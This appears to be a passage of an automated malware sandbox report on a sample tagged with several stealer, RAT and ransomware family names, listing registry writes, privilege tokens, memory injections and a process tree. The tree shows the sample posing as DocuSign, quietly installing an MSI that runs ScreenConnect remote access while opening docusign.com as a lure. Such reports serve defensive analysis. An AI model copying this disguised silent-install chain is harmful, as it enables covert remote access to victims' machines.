Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-06D2-AFAB554A76C8}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\Version = "419627012"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\38C82D9ED1583419B6D314611F7E0316	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList\PackageName = "app.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\38C82D9ED1583419B6D314611F7E0316\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\ProductIcon = "C:\\Windows\\Installer\\{E9D28C83-851D-9143-6B3D-4116F1E73061}\\DefaultIcon"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b\shell\open\command	msiexec.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3692	msiexec.exe
3692	msiexec.exe
1872	ScreenConnect.ClientService.exe
1872	ScreenConnect.ClientService.exe
752	msedge.exe
752	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4388	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4388	msiexec.exe
Token: SeSecurityPrivilege	3692	msiexec.exe
Token: SeCreateTokenPrivilege	4388	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4388	msiexec.exe
Token: SeLockMemoryPrivilege	4388	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4388	msiexec.exe
Token: SeMachineAccountPrivilege	4388	msiexec.exe
Token: SeTcbPrivilege	4388	msiexec.exe
Token: SeSecurityPrivilege	4388	msiexec.exe
Token: SeTakeOwnershipPrivilege	4388	msiexec.exe
Token: SeLoadDriverPrivilege	4388	msiexec.exe
Token: SeSystemProfilePrivilege	4388	msiexec.exe
Token: SeSystemtimePrivilege	4388	msiexec.exe
Token: SeProfSingleProcessPrivilege	4388	msiexec.exe
Token: SeIncBasePriorityPrivilege	4388	msiexec.exe
Token: SeCreatePagefilePrivilege	4388	msiexec.exe
Token: SeCreatePermanentPrivilege	4388	msiexec.exe
Token: SeBackupPrivilege	4388	msiexec.exe
Token: SeRestorePrivilege	4388	msiexec.exe
Token: SeShutdownPrivilege	4388	msiexec.exe
Token: SeDebugPrivilege	4388	msiexec.exe
Token: SeAuditPrivilege	4388	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4388	msiexec.exe
Token: SeChangeNotifyPrivilege	4388	msiexec.exe
Token: SeRemoteShutdownPrivilege	4388	msiexec.exe
Token: SeUndockPrivilege	4388	msiexec.exe
Token: SeSyncAgentPrivilege	4388	msiexec.exe
Token: SeEnableDelegationPrivilege	4388	msiexec.exe
Token: SeManageVolumePrivilege	4388	msiexec.exe
Token: SeImpersonatePrivilege	4388	msiexec.exe
Token: SeCreateGlobalPrivilege	4388	msiexec.exe
Token: SeRestorePrivilege	3692	msiexec.exe
Token: SeTakeOwnershipPrivilege	3692	msiexec.exe
Token: SeRestorePrivilege	3692	msiexec.exe
Token: SeTakeOwnershipPrivilege	3692	msiexec.exe
Token: SeBackupPrivilege	1596	vssvc.exe
Token: SeRestorePrivilege	1596	vssvc.exe
Token: SeAuditPrivilege	1596	vssvc.exe
Token: SeRestorePrivilege	3692	msiexec.exe
Token: SeTakeOwnershipPrivilege	3692	msiexec.exe
Token: SeRestorePrivilege	3692	msiexec.exe
Token: SeTakeOwnershipPrivilege	3692	msiexec.exe
Token: SeRestorePrivilege	3692	msiexec.exe
Token: SeTakeOwnershipPrivilege	3692	msiexec.exe
Token: SeShutdownPrivilege	4072	MsiExec.exe
Token: SeRestorePrivilege	3692	msiexec.exe
Token: SeTakeOwnershipPrivilege	3692	msiexec.exe
Token: SeRestorePrivilege	3692	msiexec.exe
Token: SeTakeOwnershipPrivilege	3692	msiexec.exe
Token: SeRestorePrivilege	3692	msiexec.exe
Token: SeTakeOwnershipPrivilege	3692	msiexec.exe
Token: SeRestorePrivilege	3692	msiexec.exe
Token: SeTakeOwnershipPrivilege	3692	msiexec.exe
Token: SeRestorePrivilege	3692	msiexec.exe
Token: SeTakeOwnershipPrivilege	3692	msiexec.exe
Token: SeRestorePrivilege	3692	msiexec.exe
Token: SeTakeOwnershipPrivilege	3692	msiexec.exe
Token: SeRestorePrivilege	3692	msiexec.exe
Token: SeTakeOwnershipPrivilege	3692	msiexec.exe
Token: SeRestorePrivilege	3692	msiexec.exe
Token: SeTakeOwnershipPrivilege	3692	msiexec.exe
Token: SeRestorePrivilege	3692	msiexec.exe
Token: SeTakeOwnershipPrivilege	3692	msiexec.exe

Suspicious use of FindShellTrayWindow 13 IoCs

pid	Process
1672	ScreenConnect.WindowsClient.exe
2348	msedge.exe
2348	msedge.exe
1672	ScreenConnect.WindowsClient.exe
1672	ScreenConnect.WindowsClient.exe
1672	ScreenConnect.WindowsClient.exe
1672	ScreenConnect.WindowsClient.exe
1672	ScreenConnect.WindowsClient.exe
1672	ScreenConnect.WindowsClient.exe
1672	ScreenConnect.WindowsClient.exe
1672	ScreenConnect.WindowsClient.exe
1672	ScreenConnect.WindowsClient.exe
1672	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 11 IoCs

pid	Process
1672	ScreenConnect.WindowsClient.exe
1672	ScreenConnect.WindowsClient.exe
1672	ScreenConnect.WindowsClient.exe
1672	ScreenConnect.WindowsClient.exe
1672	ScreenConnect.WindowsClient.exe
1672	ScreenConnect.WindowsClient.exe
1672	ScreenConnect.WindowsClient.exe
1672	ScreenConnect.WindowsClient.exe
1672	ScreenConnect.WindowsClient.exe
1672	ScreenConnect.WindowsClient.exe
1672	ScreenConnect.WindowsClient.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 564 wrote to memory of 4388	564	2026-08-09_cae4bbb40d17d293a11f7ded4d448ccf_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe	86
PID 564 wrote to memory of 4704	564	2026-08-09_cae4bbb40d17d293a11f7ded4d448ccf_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe	87
PID 4704 wrote to memory of 1324	4704	vc_redist.x64.exe	88
PID 3692 wrote to memory of 3456	3692	msiexec.exe	91
PID 3456 wrote to memory of 3964	3456	MsiExec.exe	92
PID 1324 wrote to memory of 4728	1324	vc_redist.x64.exe	93
PID 3692 wrote to memory of 4072	3692	msiexec.exe	97
PID 1872 wrote to memory of 1672	1872	ScreenConnect.ClientService.exe	99
PID 564 wrote to memory of 2348	564	2026-08-09_cae4bbb40d17d293a11f7ded4d448ccf_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe	110
PID 2348 wrote to memory of 4780	2348	msedge.exe	111
PID 2348 wrote to memory of 4808	2348	msedge.exe	113
PID 2348 wrote to memory of 740	2348	msedge.exe	114
PID 2348 wrote to memory of 740	2348	msedge.exe	114
PID 2348 wrote to memory of 740	2348	msedge.exe	114
PID 2348 wrote to memory of 4872	2348	msedge.exe	115
PID 2348 wrote to memory of 4872	2348	msedge.exe	115
PID 2348 wrote to memory of 4104	2348	msedge.exe	117
PID 2348 wrote to memory of 4104	2348	msedge.exe	117
PID 2348 wrote to memory of 4104	2348	msedge.exe	117
PID 2348 wrote to memory of 3720	2348	msedge.exe	116
PID 2348 wrote to memory of 3720	2348	msedge.exe	116
PID 2348 wrote to memory of 3720	2348	msedge.exe	116
PID 2348 wrote to memory of 2356	2348	msedge.exe	118
PID 2348 wrote to memory of 2356	2348	msedge.exe	118
PID 2348 wrote to memory of 2356	2348	msedge.exe	118
PID 2348 wrote to memory of 3528	2348	msedge.exe	119
PID 2348 wrote to memory of 3528	2348	msedge.exe	119
PID 2348 wrote to memory of 3528	2348	msedge.exe	119
PID 2348 wrote to memory of 2084	2348	msedge.exe	123
PID 2348 wrote to memory of 2084	2348	msedge.exe	123
PID 2348 wrote to memory of 2780	2348	msedge.exe	124
PID 2348 wrote to memory of 2780	2348	msedge.exe	124
PID 2348 wrote to memory of 648	2348	msedge.exe	125
PID 2348 wrote to memory of 2780	2348	msedge.exe	124
PID 2348 wrote to memory of 648	2348	msedge.exe	125
PID 2348 wrote to memory of 5424	2348	msedge.exe	129
PID 2348 wrote to memory of 5424	2348	msedge.exe	129
PID 2348 wrote to memory of 5440	2348	msedge.exe	130
PID 2348 wrote to memory of 5440	2348	msedge.exe	130
PID 2348 wrote to memory of 2852	2348	msedge.exe	133
PID 2348 wrote to memory of 2852	2348	msedge.exe	133
PID 2348 wrote to memory of 5844	2348	msedge.exe	136
PID 2348 wrote to memory of 720	2348	msedge.exe	137
PID 2348 wrote to memory of 720	2348	msedge.exe	137
PID 2348 wrote to memory of 4192	2348	msedge.exe	138
PID 2348 wrote to memory of 4192	2348	msedge.exe	138
PID 2348 wrote to memory of 5948	2348	msedge.exe	140
PID 2348 wrote to memory of 5948	2348	msedge.exe	140
PID 2348 wrote to memory of 4252	2348	msedge.exe	141
PID 2348 wrote to memory of 4252	2348	msedge.exe	141
PID 2348 wrote to memory of 5908	2348	msedge.exe	142
PID 2348 wrote to memory of 5908	2348	msedge.exe	142
PID 2348 wrote to memory of 5864	2348	msedge.exe	143
PID 2348 wrote to memory of 5836	2348	msedge.exe	144
PID 2348 wrote to memory of 6000	2348	msedge.exe	145
PID 2348 wrote to memory of 5908	2348	msedge.exe	146
PID 2348 wrote to memory of 5908	2348	msedge.exe	146
PID 2348 wrote to memory of 5516	2348	msedge.exe	150
PID 2348 wrote to memory of 5516	2348	msedge.exe	150
PID 2348 wrote to memory of 4632	2348	msedge.exe	151
PID 2348 wrote to memory of 4632	2348	msedge.exe	151
PID 2348 wrote to memory of 5784	2348	msedge.exe	152
PID 2348 wrote to memory of 5784	2348	msedge.exe	152
PID 2348 wrote to memory of 752	2348	msedge.exe	153

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-08-09_cae4bbb40d17d293a11f7ded4d448ccf_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-09_cae4bbb40d17d293a11f7ded4d448ccf_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:564
- C:\Windows\SysWOW64\msiexec.exe
  "msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\DocuSign_a8736463\app.msi" /quiet /norestart
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4388
- C:\Users\Admin\AppData\Local\Temp\DocuSign_a8736463\vc_redist.x64.exe
  "C:\Users\Admin\AppData\Local\Temp\DocuSign_a8736463\vc_redist.x64.exe" /install /quiet /norestart
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4704
- - C:\Windows\Temp\{16AE01D8-91EC-457E-A5AF-C39B590069B6}\.cr\vc_redist.x64.exe
    "C:\Windows\Temp\{16AE01D8-91EC-457E-A5AF-C39B590069B6}\.cr\vc_redist.x64.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\DocuSign_a8736463\vc_redist.x64.exe" -burn.filehandle.attached=692 -burn.filehandle.self=696 /install /quiet /norestart
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1324
  - - C:\Windows\Temp\{C4F99ED0-3FA4-4A59-8B98-F6B6AA855609}\.be\VC_redist.x64.exe
      "C:\Windows\Temp\{C4F99ED0-3FA4-4A59-8B98-F6B6AA855609}\.be\VC_redist.x64.exe" -q -burn.elevated BurnPipe.{6200D573-110E-48AE-ACFA-1B48995FD3FD} {32CA85DB-00FE-46DA-81FC-8A89CCD5A9F3} 1324
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4728
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.docusign.com/
  2⤵
  - Drops file in Program Files directory
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2348
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x2ec,0x7ffd487ec188,0x7ffd487ec194,0x7ffd487ec1a0
    3⤵
    PID:4780
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1980,i,13524052621288855451,15425916438640781028,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=2520 /prefetch:3
    3⤵
    - System Time Discovery
    PID:4808
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1756,i,9518005441569241450,15581381738239279581,262144 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:2
    3⤵
    PID:740
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2552,i,12483506004786822396,12437455127530872660,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=3112 /prefetch:8
    3⤵
    PID:4872
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3484,i,5405377402189615929,3321751923591193570,2097152 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:1
    3⤵
    PID:3720
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3488,i,16752761181605679462,15913428682132293533,2097152 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:1
    3⤵
    PID:4104
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4128,i,7449350455736967058,8117886687293166756,2097152 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=4368 /prefetch:1
    3⤵
    PID:2356
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4140,i,17100207520907371865,11459118324054449000,2097152 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=4372 /prefetch:2
    3⤵
    PID:3528
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5012,i,9935977503481832299,14210776943568953033,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=1768 /prefetch:8
    3⤵
    PID:2084
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5168,i,13821570079766472984,6709158602866408791,2097152 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=5176 /prefetch:1
    3⤵
    PID:2780
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5192,i,12984502828585526040,17065533702036968423,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=5180 /prefetch:8
    3⤵
    PID:648
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5540,i,16555325918387467616,11716621488656684553,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:8
    3⤵
    PID:5424
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5552,i,7542451663263144383,7925057247118015673,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=5632 /prefetch:8
    3⤵
    PID:5440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5012,i,94285843480829468,1410318799973472109,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=5116 /prefetch:8
    3⤵
    PID:2852
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6488,i,5440627603039364356,15265635807592657526,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=6512 /prefetch:8
    3⤵
    PID:5488
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6488,i,5440627603039364356,15265635807592657526,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=6512 /prefetch:8
    3⤵
    PID:5844
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6720,i,13650171295509764417,4223422233724894797,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=6716 /prefetch:8
    3⤵
    PID:720
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6736,i,13618691300089493001,17139197627284502088,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=6740 /prefetch:8
    3⤵
    PID:4192
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6844,i,1169607036024687479,10129026938610538043,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=6816 /prefetch:8
    3⤵
    PID:5948
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6948,i,1240174364858049657,15246058408338715645,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=6916 /prefetch:8
    3⤵
    PID:4252
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6924,i,714120381621369560,15620450131638856971,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=6932 /prefetch:8
    3⤵
    PID:5908
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6824,i,2702803125212503257,592156736967618512,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=6836 /prefetch:8
    3⤵
    PID:5864
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6768,i,15364213798540798016,9269137916377710077,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=6932 /prefetch:8
    3⤵
    PID:5836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6772,i,10558293547037200560,8435022095166100325,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=7044 /prefetch:8
    3⤵
    PID:6000
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5576,i,4969577877831041791,15997799272523751801,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:8
    3⤵
    PID:5908
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6416,i,8447218041017634666,8748355919891844353,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=6856 /prefetch:8
    3⤵
    PID:5516
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=860,i,12656561180203315340,2715477596976340389,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=7104 /prefetch:8
    3⤵
    PID:4632
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6772,i,14600823906590556727,17597338607096206593,524288 --field-trial-handle=2364,i,1064128656738730348,4040059557427498637,262144 --variations-seed-version --mojo-platform-channel-handle=7140 /prefetch:8
    3⤵
    PID:5784
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
